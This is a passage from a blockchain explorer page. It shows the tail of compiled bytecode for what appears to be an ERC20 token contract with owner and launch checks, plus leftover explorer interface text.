fffffffffffffffffffffffffffffffffff161415905090565b5f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611f54578082015181840152602081019050611f39565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611f7982611f1d565b611f838185611f27565b9350611f93818560208601611f37565b611f9c81611f5f565b840191505092915050565b5f6020820190508181035f830152611fbf8184611f6f565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611ff482611fcb565b9050919050565b61200481611fea565b811461200e575f80fd5b50565b5f8135905061201f81611ffb565b92915050565b5f819050919050565b61203781612025565b8114612041575f80fd5b50565b5f813590506120528161202e565b92915050565b5f806040838503121561206e5761206d611fc7565b5b5f61207b85828601612011565b925050602061208c85828601612044565b9150509250929050565b5f8115159050919050565b6120aa81612096565b82525050565b5f6020820190506120c35f8301846120a1565b92915050565b6120d281612025565b82525050565b5f6020820190506120eb5f8301846120c9565b92915050565b5f805f6060848603121561210857612107611fc7565b5b5f61211586828701612011565b935050602061212686828701612011565b925050604061213786828701612044565b9150509250925092565b5f60ff82169050919050565b61215681612141565b82525050565b5f60208201905061216f5f83018461214d565b92915050565b5f6020828403121561218a57612189611fc7565b5b5f61219784828501612011565b91505092915050565b6121a981611fea565b82525050565b5f6020820190506121c25f8301846121a0565b92915050565b5f6121d282611fcb565b9050919050565b6121e2816121c8565b81146121ec575f80fd5b50565b5f813590506121fd816121d9565b92915050565b5f6020828403121561221857612217611fc7565b5b5f612225848285016121ef565b91505092915050565b5f806040838503121561224457612243611fc7565b5b5f61225185828601612011565b925050602061226285828601612011565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156122ee578086048111156122ca576122c961226c565b5b60018516156122d95780820291505b80810290506122e785612299565b94506122ae565b94509492505050565b5f8261230657600190506123c1565b81612313575f90506123c1565b8160018114612329576002811461233357612362565b60019150506123c1565b60ff8411156123455761234461226c565b5b8360020a91508482111561235c5761235b61226c565b5b506123c1565b5060208310610133831016604e8410600b84101617156123975782820a9050838111156123925761239161226c565b5b6123c1565b6123a484848460016122a5565b925090508184048111156123bb576123ba61226c565b5b81810290505b9392505050565b5f6123d282612025565b91506123dd83612141565b925061240a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122f7565b905092915050565b5f61241c82612025565b915061242783612025565b925082820261243581612025565b9150828204841483151761244c5761244b61226c565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612487602083611f27565b915061249282612453565b602082019050919050565b5f6020820190508181035f8301526124b48161247b565b9050919050565b50565b5f6124c95f83611f27565b91506124d4826124bb565b5f82019050919050565b5f6020820190508181035f8301526124f5816124be565b9050919050565b7f416c7265616479204c61756e63686564210000000000000000000000000000005f82015250565b5f612530601183611f27565b915061253b826124fc565b602082019050919050565b5f6020820190508181035f83015261255d81612524565b9050919050565b5f8151905061257281611ffb565b92915050565b5f6020828403121561258d5761258c611fc7565b5b5f61259a84828501612564565b91505092915050565b5f6040820190506125b65f8301856121a0565b6125c360208301846121a0565b9392505050565b5f819050919050565b5f819050919050565b5f6125f66125f16125ec846125ca565b6125d3565b612025565b9050919050565b612606816125dc565b82525050565b5f60c08201905061261f5f8301896121a0565b61262c60208301886120c9565b61263960408301876125fd565b61264660608301866125fd565b61265360808301856121a0565b61266060a08301846120c9565b979650505050505050565b5f815190506126798161202e565b92915050565b5f805f6060848603121561269657612695611fc7565b5b5f6126a38682870161266b565b93505060206126b48682870161266b565b92505060406126c58682870161266b565b9150509250925092565b5f6040820190506126e25f8301856121a0565b6126ef60208301846120c9565b9392505050565b6126ff81612096565b8114612709575f80fd5b50565b5f8151905061271a816126f6565b92915050565b5f6020828403121561273557612734611fc7565b5b5f6127428482850161270c565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6127a5602483611f27565b91506127b08261274b565b604082019050919050565b5f6020820190508181035f8301526127d281612799565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612833602283611f27565b915061283e826127d9565b604082019050919050565b5f6020820190508181035f83015261286081612827565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6128c1602583611f27565b91506128cc82612867565b604082019050919050565b5f6020820190508181035f8301526128ee816128b5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61294f602383611f27565b915061295a826128f5565b604082019050919050565b5f6020820190508181035f83015261297c81612943565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6129dd602983611f27565b91506129e882612983565b604082019050919050565b5f6020820190508181035f830152612a0a816129d1565b9050919050565b5f612a1b82612025565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a4d57612a4c61226c565b5b600182019050919050565b5f612a6282612025565b9150612a6d83612025565b9250828203905081811115612a8557612a8461226c565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612ac282612025565b9150612acd83612025565b925082612add57612adc612a8b565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b42602183611f27565b9150612b4d82612ae8565b604082019050919050565b5f6020820190508181035f830152612b6f81612b36565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612c0281611fea565b82525050565b5f612c138383612bf9565b60208301905092915050565b5f602082019050919050565b5f612c3582612bd0565b612c3f8185612bda565b9350612c4a83612bea565b805f5b83811015612c7a578151612c618882612c08565b9750612c6c83612c1f565b925050600181019050612c4d565b5085935050505092915050565b5f60a082019050612c9a5f8301886120c9565b612ca760208301876125fd565b8181036040830152612cb98186612c2b565b9050612cc860608301856121a0565b612cd560808301846120c9565b9695505050505050565b5f612ce982612025565b9150612cf483612025565b9250828201905080821115612d0c57612d0b61226c565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612d46601b83611f27565b9150612d5182612d12565b602082019050919050565b5f6020820190508181035f830152612d7381612d3a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205cf354cf0f45e3a3165b4a4e28afb346b34681983854807b3742ba959874c87864736f6c63430008140033

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.